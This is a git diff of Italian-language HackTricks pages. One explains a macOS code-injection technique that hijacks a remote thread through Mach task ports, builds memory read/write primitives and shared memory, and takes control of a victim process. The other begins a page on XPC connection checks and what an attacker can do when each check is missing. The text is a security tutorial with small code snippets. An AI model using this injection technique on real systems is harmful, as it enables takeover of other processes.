||||||
Altri modi per supportare HackTricks:
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PACCHETTI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
||||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
|
|
||||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo Telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
||||||
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
||||||
## Codice
|
## Code
|
||||||
|
|
||||||
* [https://github.com/bazad/threadexec](https://github.com/bazad/threadexec)
|
* [https://github.com/bazad/threadexec](https://github.com/bazad/threadexec)
|
||||||
* [https://gist.github.com/knightsc/bd6dfeccb02b77eb6409db5601dcef36](https://gist.github.com/knightsc/bd6dfeccb02b77eb6409db5601dcef36)
|
* [https://gist.github.com/knightsc/bd6dfeccb02b77eb6409db5601dcef36](https://gist.github.com/knightsc/bd6dfeccb02b77eb6409db5601dcef36)
|
||||||
|
|
||||||
|
|
||||||
## 1. Hijacking del thread
|
## 1. Thread Hijacking
|
||||||
|
|
||||||
Inizialmente, la funzione **`task_threads()`** viene invocata sulla porta del task per ottenere un elenco di thread dal task remoto. Viene selezionato un thread da dirottare. Questo approccio si discosta dai metodi di iniezione di codice convenzionali in quanto la creazione di un nuovo thread remoto è vietata a causa della nuova mitigazione che blocca `thread_create_running()`.
|
Inizialmente, la funzione **`task_threads()`** viene invocata sulla porta del task per ottenere un elenco di thread dal task remoto. Un thread viene selezionato per l'hijacking. Questo approccio si discosta dai metodi convenzionali di iniezione di codice poiché la creazione di un nuovo thread remoto è vietata a causa della nuova mitigazione che blocca `thread_create_running()`.
|
||||||
|
|
||||||
Per controllare il thread, viene chiamata la funzione **`thread_suspend()`**, interrompendo la sua esecuzione.
|
Per controllare il thread, viene chiamato **`thread_suspend()`**, interrompendo la sua esecuzione.
|
||||||
|
|
||||||
Le uniche operazioni consentite sul thread remoto riguardano l'**arresto** e l'**avvio** dello stesso, il **recupero** e la **modifica** dei suoi valori di registro. Le chiamate di funzione remote vengono avviate impostando i registri `x0` a `x7` agli **argomenti**, configurando **`pc`** per puntare alla funzione desiderata e attivando il thread. Per garantire che il thread non si blocchi dopo il ritorno, è necessario rilevare il ritorno.
|
Le uniche operazioni consentite sul thread remoto riguardano **l'arresto** e **l'avvio** di esso, **il recupero** e **la modifica** dei suoi valori di registro. Le chiamate a funzioni remote vengono avviate impostando i registri `x0` a `x7` sugli **argomenti**, configurando **`pc`** per mirare alla funzione desiderata e attivando il thread. Assicurarsi che il thread non si arresti dopo il ritorno richiede la rilevazione del ritorno.
|
||||||
|
|
||||||
Una strategia prevede la **registrazione di un gestore di eccezioni** per il thread remoto utilizzando `thread_set_exception_ports()`, impostando il registro `lr` su un indirizzo non valido prima della chiamata alla funzione. Ciò provoca un'eccezione dopo l'esecuzione della funzione, inviando un messaggio alla porta delle eccezioni, consentendo l'ispezione dello stato del thread per recuperare il valore di ritorno. In alternativa, come adottato dall'exploit triple\_fetch di Ian Beer, `lr` viene impostato per eseguire un loop all'infinito. I registri del thread vengono quindi monitorati continuamente fino a quando **`pc` punta a quell'istruzione**.
|
Una strategia prevede **la registrazione di un gestore di eccezioni** per il thread remoto utilizzando `thread_set_exception_ports()`, impostando il registro `lr` su un indirizzo non valido prima della chiamata alla funzione. Questo attiva un'eccezione dopo l'esecuzione della funzione, inviando un messaggio alla porta di eccezione, consentendo l'ispezione dello stato del thread per recuperare il valore di ritorno. In alternativa, come adottato dall'exploit triple\_fetch di Ian Beer, `lr` viene impostato per eseguire un ciclo infinito. I registri del thread vengono quindi monitorati continuamente fino a quando **`pc` punta a quell'istruzione**.
|
||||||
|
|
||||||
## 2. Porte Mach per la comunicazione
|
## 2. Mach ports for communication
|
||||||
|
|
||||||
La fase successiva prevede l'instaurazione di porte Mach per facilitare la comunicazione con il thread remoto. Queste porte sono fondamentali per il trasferimento di diritti di invio e ricezione arbitrari tra i task.
|
La fase successiva prevede l'istituzione di porte Mach per facilitare la comunicazione con il thread remoto. Queste porte sono strumentali nel trasferire diritti di invio e ricezione arbitrari tra i task.
|
||||||
|
|
||||||
Per la comunicazione bidirezionale, vengono create due porte Mach di ricezione: una nel task locale e l'altra nel task remoto. Successivamente, viene trasferito un diritto di invio per ogni porta al task corrispondente, consentendo lo scambio di messaggi.
|
Per la comunicazione bidirezionale, vengono creati due diritti di ricezione Mach: uno nel task locale e l'altro nel task remoto. Successivamente, un diritto di invio per ciascuna porta viene trasferito al task corrispondente, consentendo lo scambio di messaggi.
|
||||||
|
|
||||||
Concentrandosi sulla porta locale, il diritto di ricezione è detenuto dal task locale. La porta viene creata con `mach_port_allocate()`. La sfida consiste nel trasferire un diritto di invio a questa porta nel task remoto.
|
Concentrandosi sulla porta locale, il diritto di ricezione è detenuto dal task locale. La porta viene creata con `mach_port_allocate()`. La sfida consiste nel trasferire un diritto di invio a questa porta nel task remoto.
|
||||||
|
|
||||||
Una strategia prevede di sfruttare `thread_set_special_port()` per inserire un diritto di invio alla porta locale nella `THREAD_KERNEL_PORT` del thread remoto. Quindi, viene istruito il thread remoto a chiamare `mach_thread_self()` per recuperare il diritto di invio.
|
Una strategia prevede di sfruttare `thread_set_special_port()` per posizionare un diritto di invio alla porta locale nel `THREAD_KERNEL_PORT` del thread remoto. Quindi, al thread remoto viene istruito di chiamare `mach_thread_self()` per recuperare il diritto di invio.
|
||||||
|
|
||||||
Per la porta remota, il processo è essenzialmente invertito. Al thread remoto viene indicato di generare una porta Mach tramite `mach_reply_port()` (poiché `mach_port_allocate()` non è adatto a causa del suo meccanismo di restituzione). Dopo la creazione della porta, viene invocato `mach_port_insert_right()` nel thread remoto per stabilire un diritto di invio. Questo diritto viene quindi nascosto nel kernel utilizzando `thread_set_special_port()`. Nel task locale, viene utilizzato `thread_get_special_port()` sul thread remoto per acquisire un diritto di invio alla nuova porta Mach allocata nel task remoto.
|
Per la porta remota, il processo è essenzialmente invertito. Al thread remoto viene diretto di generare una porta Mach tramite `mach_reply_port()` (poiché `mach_port_allocate()` non è adatto a causa del suo meccanismo di ritorno). Una volta creata la porta, `mach_port_insert_right()` viene invocato nel thread remoto per stabilire un diritto di invio. Questo diritto viene quindi conservato nel kernel utilizzando `thread_set_special_port()`. Tornando al task locale, `thread_get_special_port()` viene utilizzato sul thread remoto per acquisire un diritto di invio alla nuova porta Mach allocata nel task remoto.
|
||||||
|
|
||||||
Il completamento di questi passaggi porta all'instaurazione di porte Mach, gettando le basi per la comunicazione bidirezionale.
|
Il completamento di questi passaggi porta all'istituzione di porte Mach, ponendo le basi per la comunicazione bidirezionale.
|
||||||
|
|
||||||
## 3. Primitive di base per la lettura/scrittura di memoria
|
## 3. Basic Memory Read/Write Primitives
|
||||||
|
|
||||||
In questa sezione, l'attenzione è rivolta all'utilizzo della primitiva di esecuzione per stabilire primitive di base per la lettura e la scrittura di memoria. Questi passaggi iniziali sono cruciali per ottenere un maggiore controllo sul processo remoto, anche se le primitive in questa fase non serviranno a molti scopi. Presto, saranno aggiornate a versioni più avanzate.
|
In questa sezione, l'attenzione è rivolta all'utilizzo del primitivo di esecuzione per stabilire primitivi di lettura e scrittura della memoria di base. Questi passaggi iniziali sono cruciali per ottenere un maggiore controllo sul processo remoto, anche se i primitivi in questa fase non serviranno a molti scopi. Presto, saranno aggiornati a versioni più avanzate.
|
||||||
|
|
||||||
### Lettura e scrittura di memoria utilizzando la primitiva di esecuzione
|
### Memory Reading and Writing Using Execute Primitive
|
||||||
|
|
||||||
L'obiettivo è eseguire la lettura e la scrittura di memoria utilizzando funzioni specifiche. Per la lettura della memoria, vengono utilizzate funzioni che assomigliano alla seguente struttura:
|
L'obiettivo è eseguire letture e scritture di memoria utilizzando funzioni specifiche. Per leggere la memoria, vengono utilizzate funzioni che somigliano alla seguente struttura:
|
||||||
```c
|
```c
|
||||||
uint64_t read_func(uint64_t *address) {
|
uint64_t read_func(uint64_t *address) {
|
||||||
return *address;
|
return *address;
|
||||||
|
@ -62,7 +63,7 @@ void write_func(uint64_t *address, uint64_t value) {
|
||||||
*address = value;
|
*address = value;
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
Queste funzioni corrispondono alle istruzioni assembly fornite:
|
Queste funzioni corrispondono alle istruzioni di assembly fornite:
|
||||||
```
|
```
|
||||||
_read_func:
|
_read_func:
|
||||||
ldr x0, [x0]
|
ldr x0, [x0]
|
||||||
|
@ -71,57 +72,57 @@ _write_func:
|
||||||
str x1, [x0]
|
str x1, [x0]
|
||||||
ret
|
ret
|
||||||
```
|
```
|
||||||
### Identificazione delle funzioni adatte
|
### Identifying Suitable Functions
|
||||||
|
|
||||||
Una scansione delle librerie comuni ha rivelato candidati appropriati per queste operazioni:
|
Una scansione delle librerie comuni ha rivelato candidati appropriati per queste operazioni:
|
||||||
|
|
||||||
1. **Lettura della memoria:**
|
1. **Reading Memory:**
|
||||||
La funzione `property_getName()` della [libreria Objective-C runtime](https://opensource.apple.com/source/objc4/objc4-723/runtime/objc-runtime-new.mm.auto.html) è identificata come una funzione adatta per la lettura della memoria. La funzione è descritta di seguito:
|
La funzione `property_getName()` della [libreria runtime Objective-C](https://opensource.apple.com/source/objc4/objc4-723/runtime/objc-runtime-new.mm.auto.html) è identificata come una funzione adatta per leggere la memoria. La funzione è descritta di seguito:
|
||||||
```c
|
```c
|
||||||
const char *property_getName(objc_property_t prop) {
|
const char *property_getName(objc_property_t prop) {
|
||||||
return prop->name;
|
return prop->name;
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
Questa funzione agisce efficacemente come la `read_func` restituendo il primo campo di `objc_property_t`.
|
Questa funzione agisce efficacemente come il `read_func` restituendo il primo campo di `objc_property_t`.
|
||||||
|
|
||||||
2. **Scrittura di memoria:**
|
2. **Scrittura della Memoria:**
|
||||||
Trovare una funzione predefinita per la scrittura di memoria è più difficile. Tuttavia, la funzione `_xpc_int64_set_value()` di libxpc è un candidato adatto con la seguente disassemblazione:
|
Trovare una funzione predefinita per la scrittura della memoria è più difficile. Tuttavia, la funzione `_xpc_int64_set_value()` di libxpc è un candidato adatto con il seguente disassemblaggio:
|
||||||
```c
|
```c
|
||||||
__xpc_int64_set_value:
|
__xpc_int64_set_value:
|
||||||
str x1, [x0, #0x18]
|
str x1, [x0, #0x18]
|
||||||
ret
|
ret
|
||||||
```
|
```
|
||||||
Per eseguire una scrittura a 64 bit in un indirizzo specifico, la chiamata remota è strutturata come segue:
|
Per eseguire una scrittura a 64 bit a un indirizzo specifico, la chiamata remota è strutturata come:
|
||||||
```c
|
```c
|
||||||
_xpc_int64_set_value(address - 0x18, value)
|
_xpc_int64_set_value(address - 0x18, value)
|
||||||
```
|
```
|
||||||
Con queste primitive stabilite, il palcoscenico è pronto per creare una memoria condivisa, segnando un significativo progresso nel controllo del processo remoto.
|
Con queste primitive stabilite, il terreno è pronto per creare memoria condivisa, segnando un progresso significativo nel controllo del processo remoto.
|
||||||
|
|
||||||
## 4. Configurazione della memoria condivisa
|
## 4. Configurazione della Memoria Condivisa
|
||||||
|
|
||||||
L'obiettivo è stabilire una memoria condivisa tra i task locali e remoti, semplificando il trasferimento dei dati e agevolando la chiamata di funzioni con argomenti multipli. L'approccio prevede di sfruttare `libxpc` e il suo tipo di oggetto `OS_xpc_shmem`, che si basa su voci di memoria Mach.
|
L'obiettivo è stabilire memoria condivisa tra compiti locali e remoti, semplificando il trasferimento dei dati e facilitando la chiamata di funzioni con più argomenti. L'approccio prevede di sfruttare `libxpc` e il suo tipo di oggetto `OS_xpc_shmem`, che si basa sulle voci di memoria Mach.
|
||||||
|
|
||||||
### Panoramica del processo:
|
### Panoramica del Processo:
|
||||||
|
|
||||||
1. **Assegnazione della memoria**:
|
1. **Allocazione della Memoria**:
|
||||||
- Assegnare la memoria per la condivisione utilizzando `mach_vm_allocate()`.
|
- Allocare la memoria per la condivisione utilizzando `mach_vm_allocate()`.
|
||||||
- Utilizzare `xpc_shmem_create()` per creare un oggetto `OS_xpc_shmem` per la regione di memoria allocata. Questa funzione gestirà la creazione dell'entry di memoria Mach e memorizzerà il diritto di invio Mach all'offset `0x18` dell'oggetto `OS_xpc_shmem`.
|
- Utilizzare `xpc_shmem_create()` per creare un oggetto `OS_xpc_shmem` per la regione di memoria allocata. Questa funzione gestirà la creazione della voce di memoria Mach e memorizzerà il diritto di invio Mach all'offset `0x18` dell'oggetto `OS_xpc_shmem`.
|
||||||
|
|
||||||
2. **Creazione della memoria condivisa nel processo remoto**:
|
2. **Creazione della Memoria Condivisa nel Processo Remoto**:
|
||||||
- Allocare memoria per l'oggetto `OS_xpc_shmem` nel processo remoto con una chiamata remota a `malloc()`.
|
- Allocare memoria per l'oggetto `OS_xpc_shmem` nel processo remoto con una chiamata remota a `malloc()`.
|
||||||
- Copiare il contenuto dell'oggetto `OS_xpc_shmem` locale nel processo remoto. Tuttavia, questa copia iniziale avrà nomi di entry di memoria Mach errati all'offset `0x18`.
|
- Copiare il contenuto dell'oggetto `OS_xpc_shmem` locale nel processo remoto. Tuttavia, questa copia iniziale avrà nomi di voci di memoria Mach errati all'offset `0x18`.
|
||||||
|
|
||||||
3. **Correzione dell'entry di memoria Mach**:
|
3. **Correzione della Voce di Memoria Mach**:
|
||||||
- Utilizzare il metodo `thread_set_special_port()` per inserire un diritto di invio per l'entry di memoria Mach nel task remoto.
|
- Utilizzare il metodo `thread_set_special_port()` per inserire un diritto di invio per la voce di memoria Mach nel compito remoto.
|
||||||
- Correggere il campo dell'entry di memoria Mach all'offset `0x18` sovrascrivendolo con il nome dell'entry di memoria remota.
|
- Correggere il campo della voce di memoria Mach all'offset `0x18` sovrascrivendolo con il nome della voce di memoria remota.
|
||||||
|
|
||||||
4. **Finalizzazione della configurazione della memoria condivisa**:
|
4. **Finalizzazione della Configurazione della Memoria Condivisa**:
|
||||||
- Validare l'oggetto `OS_xpc_shmem` remoto.
|
- Validare l'oggetto `OS_xpc_shmem` remoto.
|
||||||
- Stabilire la mappatura della memoria condivisa con una chiamata remota a `xpc_shmem_remote()`.
|
- Stabilire la mappatura della memoria condivisa con una chiamata remota a `xpc_shmem_remote()`.
|
||||||
|
|
||||||
Seguendo questi passaggi, la memoria condivisa tra i task locali e remoti verrà configurata in modo efficiente, consentendo trasferimenti di dati semplici e l'esecuzione di funzioni che richiedono argomenti multipli.
|
Seguendo questi passaggi, la memoria condivisa tra i compiti locali e remoti sarà configurata in modo efficiente, consentendo trasferimenti di dati semplici e l'esecuzione di funzioni che richiedono più argomenti.
|
||||||
|
|
||||||
## Esempi di codice aggiuntivi
|
## Ulteriori Esempi di Codice
|
||||||
|
|
||||||
Per l'allocazione della memoria e la creazione dell'oggetto di memoria condivisa:
|
Per l'allocazione della memoria e la creazione dell'oggetto di memoria condivisa:
|
||||||
```c
|
```c
|
||||||
|
@ -133,48 +134,49 @@ Per creare e correggere l'oggetto di memoria condivisa nel processo remoto:
|
||||||
malloc(); // for allocating memory remotely
|
malloc(); // for allocating memory remotely
|
||||||
thread_set_special_port(); // for inserting send right
|
thread_set_special_port(); // for inserting send right
|
||||||
```
|
```
|
||||||
Ricorda di gestire correttamente i dettagli delle porte Mach e dei nomi delle voci di memoria per garantire il corretto funzionamento della configurazione della memoria condivisa.
|
Ricorda di gestire correttamente i dettagli dei port Mach e dei nomi delle voci di memoria per garantire che la configurazione della memoria condivisa funzioni correttamente.
|
||||||
|
|
||||||
|
|
||||||
## 5. Ottenere il pieno controllo
|
## 5. Ottenere il Controllo Completo
|
||||||
|
|
||||||
Una volta stabilita con successo la memoria condivisa e acquisita la capacità di esecuzione arbitraria, abbiamo essenzialmente ottenuto il pieno controllo sul processo target. Le funzionalità chiave che consentono questo controllo sono:
|
Una volta stabilita con successo la memoria condivisa e acquisita la capacità di esecuzione arbitraria, abbiamo essenzialmente ottenuto il controllo completo sul processo target. Le funzionalità chiave che abilitano questo controllo sono:
|
||||||
|
|
||||||
1. **Operazioni di memoria arbitrarie**:
|
1. **Operazioni di Memoria Arbitraria**:
|
||||||
- Eseguire letture di memoria arbitrarie invocando `memcpy()` per copiare dati dalla regione condivisa.
|
- Eseguire letture di memoria arbitrarie invocando `memcpy()` per copiare dati dalla regione condivisa.
|
||||||
- Eseguire scritture di memoria arbitrarie utilizzando `memcpy()` per trasferire dati alla regione condivisa.
|
- Eseguire scritture di memoria arbitrarie utilizzando `memcpy()` per trasferire dati nella regione condivisa.
|
||||||
|
|
||||||
2. **Gestione delle chiamate di funzione con argomenti multipli**:
|
2. **Gestione delle Chiamate di Funzione con Più Argomenti**:
|
||||||
- Per le funzioni che richiedono più di 8 argomenti, disporre gli argomenti aggiuntivi nello stack in conformità con la convenzione di chiamata.
|
- Per le funzioni che richiedono più di 8 argomenti, disporre gli argomenti aggiuntivi nello stack in conformità con la convenzione di chiamata.
|
||||||
|
|
||||||
3. **Trasferimento di porte Mach**:
|
3. **Trasferimento di Port Mach**:
|
||||||
- Trasferire porte Mach tra task tramite messaggi Mach tramite porte precedentemente stabilite.
|
- Trasferire port Mach tra i task tramite messaggi Mach attraverso port precedentemente stabiliti.
|
||||||
|
|
||||||
4. **Trasferimento di descrittori di file**:
|
4. **Trasferimento di Descrittori di File**:
|
||||||
- Trasferire descrittori di file tra processi utilizzando fileport, una tecnica evidenziata da Ian Beer in `triple_fetch`.
|
- Trasferire descrittori di file tra i processi utilizzando fileports, una tecnica evidenziata da Ian Beer in `triple_fetch`.
|
||||||
|
|
||||||
Questo controllo completo è racchiuso nella libreria [threadexec](https://github.com/bazad/threadexec), che fornisce un'implementazione dettagliata e un'API user-friendly per l'interazione con il processo vittima.
|
Questo controllo completo è racchiuso all'interno della libreria [threadexec](https://github.com/bazad/threadexec), che fornisce un'implementazione dettagliata e un'API user-friendly per l'interazione con il processo vittima.
|
||||||
|
|
||||||
## Considerazioni importanti:
|
## Considerazioni Importanti:
|
||||||
|
|
||||||
- Assicurarsi di utilizzare correttamente `memcpy()` per le operazioni di lettura/scrittura di memoria al fine di mantenere la stabilità del sistema e l'integrità dei dati.
|
- Assicurati di utilizzare correttamente `memcpy()` per le operazioni di lettura/scrittura della memoria per mantenere la stabilità del sistema e l'integrità dei dati.
|
||||||
- Quando si trasferiscono porte Mach o descrittori di file, seguire i protocolli appropriati e gestire le risorse in modo responsabile per evitare perdite o accessi non intenzionali.
|
- Quando trasferisci port Mach o descrittori di file, segui i protocolli appropriati e gestisci le risorse in modo responsabile per prevenire leak o accessi non intenzionati.
|
||||||
|
|
||||||
Seguendo queste linee guida e utilizzando la libreria `threadexec`, è possibile gestire ed interagire con i processi a un livello granulare, ottenendo il pieno controllo sul processo target.
|
Seguendo queste linee guida e utilizzando la libreria `threadexec`, è possibile gestire e interagire con i processi a un livello granulare, ottenendo il controllo completo sul processo target.
|
||||||
|
|
||||||
## Riferimenti
|
## Riferimenti
|
||||||
* [https://bazad.github.io/2018/10/bypassing-platform-binary-task-threads/](https://bazad.github.io/2018/10/bypassing-platform-binary-task-threads/)
|
* [https://bazad.github.io/2018/10/bypassing-platform-binary-task-threads/](https://bazad.github.io/2018/10/bypassing-platform-binary-task-threads/)
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
Altri modi per supportare HackTricks:
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PACCHETTI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
||||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
|
|
||||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
||||||
* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
|
@ -1,58 +1,59 @@
|
||||||
# Controllo del processo di connessione XPC su macOS
|
# macOS XPC Connecting Process Check
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Impara l'hacking di AWS da zero a esperto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
Altri modi per supportare HackTricks:
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PACCHETTI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
||||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
|
|
||||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo Telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
||||||
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
||||||
## Controllo del processo di connessione XPC
|
## XPC Connecting Process Check
|
||||||
|
|
||||||
Quando viene stabilita una connessione a un servizio XPC, il server verifica se la connessione è consentita. Di seguito sono riportati i controlli che solitamente vengono eseguiti:
|
Quando viene stabilita una connessione a un servizio XPC, il server verificherà se la connessione è consentita. Questi sono i controlli che di solito esegue:
|
||||||
|
|
||||||
1. Verifica se il **processo di connessione è firmato con un certificato firmato da Apple** (concesso solo da Apple).
|
1. Controlla se il **processo di connessione è firmato con un certificato firmato da Apple** (rilasciato solo da Apple).
|
||||||
* Se ciò **non viene verificato**, un attaccante potrebbe creare un **certificato falso** per corrispondere a qualsiasi altro controllo.
|
* Se questo **non è verificato**, un attaccante potrebbe creare un **certificato falso** per soddisfare qualsiasi altro controllo.
|
||||||
2. Verifica se il processo di connessione è firmato con il **certificato dell'organizzazione** (verifica dell'ID del team).
|
2. Controlla se il processo di connessione è firmato con il **certificato dell'organizzazione** (verifica dell'ID del team).
|
||||||
* Se ciò **non viene verificato**, **qualsiasi certificato di sviluppatore** di Apple può essere utilizzato per la firma e la connessione al servizio.
|
* Se questo **non è verificato**, **qualsiasi certificato di sviluppatore** di Apple può essere utilizzato per la firma e connettersi al servizio.
|
||||||
3. Verifica se il processo di connessione **contiene un bundle ID corretto**.
|
3. Controlla se il processo di connessione **contiene un ID bundle appropriato**.
|
||||||
* Se ciò **non viene verificato**, qualsiasi strumento **firmato dalla stessa organizzazione** potrebbe essere utilizzato per interagire con il servizio XPC.
|
* Se questo **non è verificato**, qualsiasi strumento **firmato dalla stessa org** potrebbe essere utilizzato per interagire con il servizio XPC.
|
||||||
4. (4 o 5) Verifica se il processo di connessione ha un **numero di versione del software corretto**.
|
4. (4 o 5) Controlla se il processo di connessione ha un **numero di versione software appropriato**.
|
||||||
* Se ciò **non viene verificato**, potrebbe essere utilizzato un client obsoleto e non sicuro, vulnerabile all'iniezione di processo, per connettersi al servizio XPC anche con gli altri controlli in atto.
|
* Se questo **non è verificato**, un client vecchio e insicuro, vulnerabile all'iniezione di processi, potrebbe essere utilizzato per connettersi al servizio XPC anche con gli altri controlli in atto.
|
||||||
5. (4 o 5) Verifica se il processo di connessione ha un runtime protetto senza entitlement pericolosi (come quelli che consentono di caricare librerie arbitrarie o utilizzare variabili di ambiente DYLD).
|
5. (4 o 5) Controlla se il processo di connessione ha un runtime rinforzato senza diritti pericolosi (come quelli che consentono di caricare librerie arbitrarie o utilizzare variabili d'ambiente DYLD).
|
||||||
1. Se ciò **non viene verificato**, il client potrebbe essere **vulnerabile all'iniezione di codice**.
|
1. Se questo **non è verificato**, il client potrebbe essere **vulnerabile all'iniezione di codice**.
|
||||||
6. Verifica se il processo di connessione ha un **entitlement** che gli consente di connettersi al servizio. Questo si applica alle applicazioni Apple.
|
6. Controlla se il processo di connessione ha un **diritto** che gli consente di connettersi al servizio. Questo è applicabile per i binari Apple.
|
||||||
7. La **verifica** deve essere **basata** sul **token di audit del client** di connessione **anziché** sul suo ID di processo (**PID**) poiché il primo previene gli attacchi di **riutilizzo del PID**.
|
7. La **verifica** deve essere **basata** sul **token di audit del client di connessione** **invece** che sul suo ID processo (**PID**) poiché il primo previene **attacchi di riutilizzo del PID**.
|
||||||
* Gli sviluppatori **raramente utilizzano** la chiamata API del token di audit poiché è **privata**, quindi Apple potrebbe **modificarla** in qualsiasi momento. Inoltre, l'uso di API private non è consentito nelle app del Mac App Store.
|
* Gli sviluppatori **raramente utilizzano la chiamata API del token di audit** poiché è **privata**, quindi Apple potrebbe **cambiarla** in qualsiasi momento. Inoltre, l'uso di API private non è consentito nelle app del Mac App Store.
|
||||||
* Se viene utilizzato il metodo **`processIdentifier`**, potrebbe essere vulnerabile
|
* Se viene utilizzato il metodo **`processIdentifier`**, potrebbe essere vulnerabile.
|
||||||
* Dovrebbe essere utilizzato **`xpc_dictionary_get_audit_token`** invece di **`xpc_connection_get_audit_token`**, poiché quest'ultimo potrebbe anche essere [vulnerabile in determinate situazioni](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/).
|
* **`xpc_dictionary_get_audit_token`** dovrebbe essere utilizzato invece di **`xpc_connection_get_audit_token`**, poiché quest'ultimo potrebbe anche essere [vulnerabile in determinate situazioni](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/).
|
||||||
|
|
||||||
### Attacchi di comunicazione
|
### Communication Attacks
|
||||||
|
|
||||||
Per ulteriori informazioni sull'attacco di riutilizzo del PID, controlla:
|
Per ulteriori informazioni sull'attacco di riutilizzo del PID controlla:
|
||||||
|
|
||||||
